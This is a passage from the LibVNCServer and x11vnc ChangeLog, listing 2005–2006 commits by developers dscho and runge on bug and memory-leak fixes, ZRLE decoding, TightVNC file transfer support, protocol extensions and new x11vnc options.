5841 58422006-01-10 dscho <dscho> 5843 5844 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 5845 rfbProcessEvents() has to iterate also over clients with sock < 0 to 5846 close them 5847 58482006-01-09 runge <runge> 5849 5850 * ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog, 5851 x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h, 5852 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, 5853 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5854 x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, 5855 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, 5856 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, 5857 x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, 5858 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, 5859 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 5860 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, 5861 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, 5862 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h, 5863 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, 5864 x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h, 5865 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5866 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5867 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, 5868 x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, 5869 x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, 5870 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, 5871 x11vnc/xwrappers.h: x11vnc: the big split. 5872 58732006-01-08 runge <runge> 5874 5875 * ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c, 5876 libvncserver/main.c: fix client non-jpeg/libz builds 5877 58782006-01-06 runge <runge> 5879 5880 * ChangeLog, libvncserver/main.c: rfbRegisterProtocolExtension extMutex was never initialized. 5881 58822005-12-24 runge <runge> 5883 5884 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 5885 x11vnc/x11vnc.c: x11vnc: enhance -passwdfile features, filetransfer on by default. 5886 58872005-12-22 dscho <dscho> 5888 5889 * libvncserver/rfbserver.c: make compile again with pthreads; fix 5890 off-by-one error 5891 58922005-12-19 dscho <dscho> 5893 5894 * AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 5895 libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate 5896 (thanks Dave) 5897 58982005-12-19 dscho <dscho> 5899 5900 * client_examples/SDLvncviewer.c, libvncclient/sockets.c, 5901 libvncclient/vncviewer.c, libvncserver/main.c, 5902 libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for 5903 MinGW32 5904 59052005-12-09 dscho <dscho> 5906 5907 * ChangeLog, configure.ac, libvncclient/sockets.c, 5908 libvncserver/sockets.c: work around write() returning ENOENT on 5909 Solaris 2.7 5910 59112005-12-09 dscho <dscho> 5912 5913 * examples/mac.c: previous patch turned compile warning in a compile 5914 error; fix that ;-) 5915 59162005-12-08 dscho <dscho> 5917 5918 * examples/mac.c: fix compile warnings 5919 59202005-12-07 dscho <dscho> 5921 5922 * libvncclient/vncviewer.c: one more memory leak 5923 59242005-12-07 dscho <dscho> 5925 5926 * ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory 5927 leaks 5928 59292005-12-07 dscho <dscho> 5930 5931 * client_examples/SDLvncviewer.c: translate keys based on unicode 5932 (much more reliable than sym) 5933 59342005-11-28 runge <runge> 5935 5936 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 5937 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: add -loop option. 5938 59392005-11-25 runge <runge> 5940 5941 * ChangeLog, configure.ac, libvncclient/rfbproto.c, 5942 libvncclient/tight.c, libvncclient/vncviewer.c, 5943 libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c, 5944 libvncserver/private.h, libvncserver/rfbserver.c, 5945 libvncserver/tightvnc-filetransfer/filelistinfo.h, 5946 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 5947 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 5948 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 5949 rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog, 5950 x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c: fix deadlock from rfbReleaseExtensionIterator(), fix no 5951 libz/libjpeg builds, disable tightvnc-filetransfer if no 5952 libpthread, add --without-pthread option, rm // comments, set 5953 NAME_MAX if not defined, x11vnc: throttle load if fb update 5954 requests not taking place. 5955 59562005-10-23 runge <runge> 5957 5958 * configure.ac, x11vnc/README: configure.ac: test ... == ... not allowed on all unix. 5959 59602005-10-23 runge <runge> 5961 5962 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 5963 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -filexfer, -slow_fb, -blackout noptr,... 5964 59652005-10-07 dscho <dscho> 5966 5967 * TODO: update TODO 5968 59692005-10-07 dscho <dscho> 5970 5971 * examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The 5972 PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension 5973 handled it, LibVNCServer would walk through all extensions, and if 5974 they promised to handle the encoding, execute the extension's 5975 newClient() if it was not NULL. However, if newClient is not NULL, it will be called when a client 5976 connects, and if it returns TRUE, the extension will be enabled. 5977 Since all the state of the extension should be in the client data, 5978 there is no good reason why newClient should return FALSE the first 5979 time (thus not enabling the extension), but TRUE when called just 5980 before calling enablePseudoEncoding(). So in effect, the extension got enabled all the time, even if that 5981 was not necessary. The resolution is to pass a void** to enablePseudoEncoding. This has 5982 the further advantage that enablePseudoEncoding can remalloc() or 5983 free() the data without problems. Though keep in mind that if 5984 enablePseudoEncoding() is called on a not-yet-enabled extension, the 5985 passed data points to NULL. 5986 59872005-10-06 dscho <dscho> 5988 5989 * ChangeLog: update ChangeLog for today 5990 59912005-10-06 dscho <dscho> 5992 5993 * client_examples/Makefile.am, client_examples/SDLvncviewer.c, 5994 client_examples/backchannel.c, libvncclient/rfbproto.c, 5995 rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify 5996 the client data handling so that more than one data structure can be 5997 attached, and add an example to speak the client part of the back 5998 channel. 5999 60002005-10-06 dscho <dscho> 6001 6002 * examples/Makefile.am, examples/backchannel.c: add BackChannel 6003 extension example 6004 60052005-10-06 dscho <dscho> 6006 6007 * libvncclient/zrle.c: fix warning 6008 60092005-10-06 dscho <dscho> 6010 6011 * configure.ac, examples/mac.c, libvncserver/main.c, 6012 libvncserver/rfbserver.c, libvncserver/stats.c, 6013 libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h, 6014 rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new 6015 extension technique makes these hooks obsolete 6016 60172005-10-06 dscho <dscho> 6018 6019 * libvncserver/rfbserver.c, 6020 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 6021 provide a list of the pseudo encodings understood by the extension 6022 60232005-10-06 dscho <dscho> 6024 6025 * contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS 6026 60272005-10-06 dscho <dscho> 6028 6029 * client_examples/Makefile.am, examples/Makefile.am, 6030 libvncclient/Makefile.am, 6031 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do 6032 it right: it is not DEFINES, but AM_CFLAGS 6033 60342005-10-03 dscho <dscho> 6035 6036 * ChangeLog, libvncserver/rfbserver.c, 6037 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add 6038 enablePseudoEncoding() to rfbProtocolExtension 6039 60402005-09-29 dscho <dscho> 6041 6042 * TODO, index.html: more TODOs, and an update to the website 6043 60442005-09-28 dscho <dscho> 6045 6046 * AUTHORS, ChangeLog, configure.ac, examples/.cvsignore, 6047 examples/Makefile.am, examples/filetransfer.c, 6048 libvncclient/.cvsignore, libvncserver/.cvsignore, 6049 libvncserver/Makefile.am, libvncserver/auth.c, 6050 libvncserver/cargs.c, libvncserver/main.c, 6051 libvncserver/rfbserver.c, libvncserver/sockets.c, 6052 libvncserver/tightvnc-filetransfer/.cvsignore, 6053 libvncserver/tightvnc-filetransfer/Makefile.am, 6054 libvncserver/tightvnc-filetransfer/filelistinfo.c, 6055 libvncserver/tightvnc-filetransfer/filelistinfo.h, 6056 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 6057 libvncserver/tightvnc-filetransfer/filetransfermsg.h, 6058 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 6059 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h, 6060 libvncserver/tightvnc-filetransfer/rfbtightproto.h, 6061 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This 6062 monster commit contains support for TightVNC's file transfer 6063 protocol. Thank you very much, Rohit! 6064 60652005-09-27 dscho <dscho> 6066 6067 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 6068 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 6069 Introduce generic protocol extension method. Deprecate the 6070 processCustomClientMessage() method. 6071 60722005-09-27 dscho <dscho> 6073 6074 * libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is 6075 global. This was a misguided attempt to evade a global list. I 6076 eventually saw the light and went with Rohit�s original approach. 6077 60782005-09-27 dscho <dscho> 6079 6080 * client_examples/Makefile.am, client_examples/vnc2mpg.c: support 6081 new ffmpeg version 6082 60832005-09-26 dscho <dscho> 6084 6085 * ChangeLog, libvncserver/auth.c, libvncserver/main.c, 6086 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC 6087 protocol version 3.7 6088 60892005-08-22 dscho <dscho> 6090 6091 * prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions 6092 were needed after changing LibVNCServer.spec.in 6093 60942005-08-21 dscho <dscho> 6095 6096 * AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three 6097 packages: the library, -devel (headers), and x11vnc 6098 60992005-07-18 runge <runge> 6100 6101 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6102 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more gui fixes, gui requests via client_sock, 6103 PASSWD_REQUIRED build opt. 6104 61052005-07-13 runge <runge> 6106 6107 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 6108 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: setup for new release 0.7.3 while I remember how.. 6109 61102005-07-13 runge <runge> 6111 6112 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6113 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: tweaks for release, fix queue buildup under -viewonly. 6114 61152005-07-11 runge <runge> 6116 6117 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6118 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to gui, scary nopassword warning msg. 6119 61202005-07-09 runge <runge> 6121 6122 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6123 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and 6124 copyrect for -clip and -id 6125 61262005-07-07 runge <runge> 6127 6128 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6129 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray now embeds in systray; more improvements to gui. 6130 61312005-07-02 runge <runge> 6132 6133 * ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README, 6134 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6135 x11vnc/x11vnc.c: x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0. 6136 61372005-06-28 dscho <dscho> 6138 6139 * ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding 6140 bug 6141 61422005-06-27 runge <runge> 6143 6144 * ChangeLog, libvncserver/main.c: main.c: fix screen->deferUpdateTime default. 6145 61462005-06-27 runge <runge> 6147 6148 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6149 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt, 6150 add -nodbg as option 6151 61522005-06-21 dscho <dscho> 6153 6154 * TODO: ZRLE has problems with RealVNC server. Look into it. 6155 61562005-06-21 runge <runge> 6157 6158 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad 6159 desktop" for wireframe 6160 61612005-06-18 runge <runge> 6162 6163 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6164 x11vnc/x11vnc.1, x11vnc/x11vnc.c: configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of 6165 beta-testing fixes. 6166 61672005-06-14 runge <runge> 6168 6169 * ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog, 6170 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6171 x11vnc/x11vnc.c: main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first 6172 round of beta-testing fixes, RFE's. 6173 61742005-06-11 dscho <dscho> 6175 6176 * ChangeLog, configure.ac: no longer complain on Solaris about 6177 missing ar, which was not really missing 6178 61792005-06-06 dscho <dscho> 6180 6181 * rfb/rfbproto.h: add definitions from other VNC implementations 6182 61832005-06-06 dscho <dscho> 6184 6185 * TODO: more TODOs 6186 61872005-06-06 dscho <dscho> 6188 6189 * client_examples/Makefile.am, configure.ac: link to libmp3lame only 6190 if exists 6191 61922005-06-04 runge <runge> 6193 6194 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, 6195 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6196 x11vnc/x11vnc.c: main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale; 6197 add -fixscreen 6198 61992005-05-31 runge <runge> 6200 6201 * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, 6202 x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: fix copyRect for non-cursor-shape-aware clients. 6203 62042005-05-25 dscho <dscho> 6205 6206 * index.html: news 6207 62082005-05-25 runge <runge> 6209 6210 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 6211 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6212 x11vnc/x11vnc.c: x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel, 6213 fix onetile 6214 62152005-05-24 dscho <dscho> 6216 6217 * examples/.cvsignore: mac works! 6218 62192005-05-24 dscho <dscho> 6220 6221 * Makefile.am, configure.ac: make libvncserver-conf executable the 6222 autoconf way 6223 62242005-05-24 dscho <dscho> 6225 6226 * Makefile.am: "make t" now executes the tests 6227 62282005-05-24 dscho <dscho> 6229 6230 * libvncclient/Makefile.am: do distribute and depend on zrle.c 6231 62322005-05-24 dscho <dscho> 6233 6234 * TODO, libvncclient/rfbproto.c, libvncclient/tight.c, 6235 libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c, 6236 test/encodingstest.c: implement ZRLE decoding 6237 62382005-05-24 dscho <dscho> 6239 6240 * client_examples/SDLvncviewer.c: try 32 bit first 6241 62422005-05-24 dscho <dscho> 6243 6244 * examples/example.c, libvncserver/font.c: fix off by one bug 6245 62462005-05-23 dscho <dscho> 6247 6248 * libvncclient/tight.c, libvncclient/vncviewer.c: init a structure 6249 *before* using it... 6250 62512005-05-23 dscho <dscho> 6252 6253 * libvncclient/tight.c: remove wrong comment 6254 62552005-05-23 dscho <dscho> 6256 6257 * libvncclient/rfbproto.c, libvncclient/tight.c, 6258 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make 6259 zlib and tight handling thread safe (static -> rfbClient) 6260 62612005-05-23 dscho <dscho> 6262 6263 * client_examples/vnc2mpg.c: work around bug in ffmpeg 6264 62652005-05-23 dscho <dscho> 6266 6267 * ChangeLog, configure.ac: simplify configure (do not check for 6268 malloc(0) bug) 6269 62702005-05-23 dscho <dscho> 6271 6272 * client_examples/vnc2mpg.c: fix compilation for 6273 LIBAVCODEC_BUILD==4754 6274 62752005-05-20 dscho <dscho> 6276 6277 * acinclude.m4: finally fix socklen_t problem 6278 62792005-05-18 dscho <dscho> 6280 6281 * acinclude.m4: fix socklen_t also for defines 6282 62832005-05-18 dscho <dscho> 6284 6285 * ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems 6286 without socklen_t 6287 62882005-05-18 dscho <dscho> 6289 6290 * libvncserver/main.c: fix off by one bug 6291 62922005-05-18 dscho <dscho> 6293 6294 * examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, 6295 libvncclient/sockets.c, libvncclient/vncviewer.c, 6296 libvncserver/main.c, libvncserver/rfbserver.c, 6297 libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c, 6298 test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if 6299 not explicitely turned on; actually use the socklen_t test from 6300 configure.ac 6301 63022005-05-18 runge <runge> 6303 6304 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6305 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog 6306 63072005-05-17 dscho <dscho> 6308 6309 * libvncserver/Makefile.am: also distribute private.h... 6310 63112005-05-17 dscho <dscho> 6312 6313 * TODO: update TODOs 6314 63152005-05-16 dscho <dscho> 6316 6317 * libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible 6318 protocol; release mutex before freeing it 6319 63202005-05-15 dscho <dscho> 6321 6322 * ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h, 6323 VisualNaCro/nacro.c, client_examples/SDLvncviewer.c, 6324 client_examples/ppmtest.c, contrib/zippy.c, examples/example.c, 6325 examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c, 6326 examples/radon.h, examples/storepasswd.c, examples/vncev.c, 6327 libvncclient/listen.c, libvncclient/rfbproto.c, 6328 libvncclient/sockets.c, libvncclient/vncviewer.c, 6329 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c, 6330 libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c, 6331 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 6332 libvncserver/private.h, libvncserver/rfbregion.c, 6333 libvncserver/rfbserver.c, libvncserver/rre.c, 6334 libvncserver/selbox.c, libvncserver/sockets.c, 6335 libvncserver/tight.c, libvncserver/translate.c, 6336 libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, 6337 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, 6338 rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c, 6339 test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c, 6340 vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse 6341 63422005-05-15 runge <runge> 6343 6344 * libvncserver/main.c, libvncserver/rfbserver.c: libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect 6345 memory leaks 6346 63472005-05-14 dscho <dscho> 6348 6349 * .cvsignore, examples/.cvsignore, test/.cvsignore, 6350 x11vnc/misc/.cvsignore: more files to ignore 6351 63522005-05-14 dscho <dscho> 6353 6354 * ChangeLog, examples/example.c, libvncserver/main.c, 6355 libvncserver/rfbserver.c: fix memory leaks detected using valgrind 6356 63572005-05-14 runge <runge> 6358 6359 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6360 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to -scrollcopyrect and -xkb modes. 6361 63622005-05-07 dscho <dscho> 6363 6364 * ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h, 6365 examples/example.c, examples/fontsel.c, libvncserver/httpd.c, 6366 libvncserver/main.c, libvncserver/rfbserver.c, 6367 libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c, 6368 vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: 6369 socketInitDone -> socketState 6370 63712005-05-03 runge <runge> 6372 6373 * ChangeLog, configure.ac, libvncserver/main.c: libvncserver/main.c: fix memory leak in 6374 rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks. 6375 63762005-05-03 runge <runge> 6377 6378 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6379 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6380 x11vnc/x11vnc.c: x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations 6381 for x11vnc pkg 6382 63832005-04-27 dscho <dscho> 6384 6385 * ChangeLog, libvncserver/rfbserver.c: clear requested region after 6386 handling it 6387 63882005-04-19 runge <runge> 6389 6390 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README, 6391 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6392 x11vnc/x11vnc.c: x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd, 6393 -unsafe, -noviewonly 6394 63952005-04-12 runge <runge> 6396 6397 * x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl: x11vnc: add rawfb setup example misc/ranfb.pl 6398 63992005-04-11 runge <runge> 6400 6401 * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl, 6402 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6403 x11vnc/x11vnc.c: x11vnc: fix some -rawfb bugs, add setup:cmd 6404 64052005-04-10 runge <runge> 6406 6407 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, 6408 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 6409 x11vnc/misc/Makefile.am, x11vnc/misc/README, 6410 x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup, 6411 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, 6412 x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl, 6413 x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 6414 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ... 6415 64162005-04-04 runge <runge> 6417 6418 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6419 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6420 x11vnc/x11vnc.c: x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http 6421 64222005-03-29 runge <runge> 6423 6424 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6425 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix event leaks, build-time customizations, -nolookup 6426 64272005-03-20 runge <runge> 6428 6429 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6430 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat 6431 N 6432 64332005-03-12 runge <runge> 6434 6435 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6436 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: X DAMAGE support, -clip WxH+X+Y, identd. 6437 64382005-03-09 dscho <dscho> 6439 6440 * test/encodingstest.c: fix compilation when no libz is available 6441 64422005-03-07 dscho <dscho> 6443 6444 * configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly... 6445 64462005-03-07 dscho <dscho> 6447 6448 * configure.ac: check for in_addr_t 6449 64502005-03-06 dscho <dscho> 6451 6452 * client_examples/SDLvncviewer.c: fix for older SDL versions 6453 64542005-03-05 runge <runge> 6455 6456 * ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am: autoconf: rpm -> rpmbuild and echo -n -> printf 6457 64582005-03-05 runge <runge> 6459 6460 * ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c, 6461 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, 6462 rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6463 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add '-listen ipaddr' option 6464 64652005-03-01 dscho <dscho> 6466 6467 * client_examples/ppmtest.c: do not crash when /tmp is not writable 6468 64692005-02-23 runge <runge> 6470 6471 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: final changes for 0.7.1 release. 6472 64732005-02-22 runge <runge> 6474 6475 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6476 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -nap is now the default, version str 0.7.1. 6477 64782005-02-14 runge <runge> 6479 6480 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6481 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode. 6482 64832005-02-11 runge <runge> 6484 6485 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6486 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -input to fine tune allow user input. per-client settings 6487 -R 6488 64892005-02-09 runge <runge> 6490 6491 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6492 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6493 x11vnc/x11vnc.c: x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h 6494 and utmpx.h 6495 64962005-02-07 runge <runge> 6497 6498 * ChangeLog, prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: few tweaks for next release 6499 65002005-02-07 runge <runge> 6501 6502 * ChangeLog, configure.ac: configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw 6503 65042005-02-05 runge <runge> 6505 6506 * ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch, 6507 x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6508 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -solid color, -opts; tightvnc unix viewer alpha patch 6509 65102005-01-25 dscho <dscho> 6511 6512 * TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding 6513 set from outside 6514 65152005-01-24 runge <runge> 6516 6517 * x11vnc/x11vnc.c: whoops, test version of x11vnc.c leaked out... 6518 65192005-01-24 runge <runge> 6520 6521 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6522 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: sync with new cursor mechanism, -timeout, -noalphablend, try :0 if 6523 no other info 6524 65252005-01-23 dscho <dscho> 6526 6527 * test/cursortest.c: test Floyd-Steinberg dither for alpha masks 6528 65292005-01-21 dscho <dscho> 6530 6531 * TODO, libvncserver/cursor.c, rfb/rfb.h: implemented 6532 Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource 6533 65342005-01-21 dscho <dscho> 6535 6536 * VisualNaCro/recorder.pl: use Getopt 6537 65382005-01-21 dscho <dscho> 6539 6540 * libvncclient/vncviewer.c: if no argc & argv are passed, honour the 6541 serverHost&serverPort which was set by the application 6542 65432005-01-20 dscho <dscho> 6544 6545 * test/cursortest.c: no need to strdup for MakeXCursor 6546 65472005-01-20 dscho <dscho> 6548 6549 * ChangeLog, libvncserver/cursor.c: disappearing cursor fixed & 6550 debug message purged 6551 65522005-01-20 dscho <dscho> 6553 6554 * libvncserver/cursor.c, libvncserver/main.c, 6555 libvncserver/rfbserver.c: fix disappearing cursor 6556 65572005-01-19 dscho <dscho> 6558 6559 * libvncserver/cursor.c: redraw region under old cursor even if the 6560 old cursor doesn't have to be freed. 6561 65622005-01-19 dscho <dscho> 6563 6564 * TODO: a granted wish has several children ;-) 6565 65662005-01-19 